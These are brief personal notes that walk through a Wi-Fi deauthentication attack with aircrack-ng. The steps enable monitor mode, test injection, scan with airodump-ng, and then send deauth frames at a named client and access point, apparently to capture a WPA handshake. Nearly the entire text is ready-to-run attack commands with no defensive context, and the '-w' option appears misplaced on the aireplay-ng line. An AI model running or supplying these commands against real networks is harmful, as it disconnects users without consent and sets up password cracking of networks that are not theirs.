1. Go into monitor mode:
   sudo airmon-ng start wlan0
iwconfig to check if it works
2. Test packet injection: (Injection is working! prompt will appear)
   sudo aireplay-ng --test wlan0mon
3. To perform deauth, need to first view available network, then from the bottom one choose a station to deauth it (in this example we are deauth 00:0F:B5:32:31:31 station/client from 00:14:6C:7A:41:81 wifi/access point, -w is to write to file):
   sudo airodump-ng wlan0mon
sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon -w WPApacket